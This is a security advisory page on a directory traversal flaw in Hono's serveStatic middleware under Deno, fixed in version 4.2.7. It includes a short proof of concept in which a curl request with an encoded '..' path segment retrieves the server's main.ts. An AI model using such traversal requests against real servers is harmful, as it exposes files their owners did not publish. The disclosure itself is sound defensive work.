Hono vulnerable to Restricted Directory Traversal in serveStatic with deno
Summary
When using serveStatic with deno, it is possible to directory traverse where main.ts is located.
My environment is configured as per this tutorial https://hono.dev/getting-started/deno
PoC
$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
└── a.txtsource
import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts'
import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'
const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))
Deno.serve(app.fetch)request
curl localhost:8000/static/%2e%2e/main.tsresponse is content of main.ts
Impact
Unexpected files are retrieved.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | hono | < 4.2.7 | 4.2.7 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N- Weakness (CWE)
CWE-22- Platform
- npm
- Package
hono- Disclosed
- 23.04.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-3mpf-rcc7-5347 - CC BY 4.0
Vulnerability history: hono
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 52
- First → latest
- 12.2023 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 7
- Medium 41
- Low 4
Disclosures per year
- 2023: 1
- 2024: 3
- 2025: 4
- 2026: 44
-
Hono vulnerable to Restricted Directory Traversal in serveStatic with deno this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.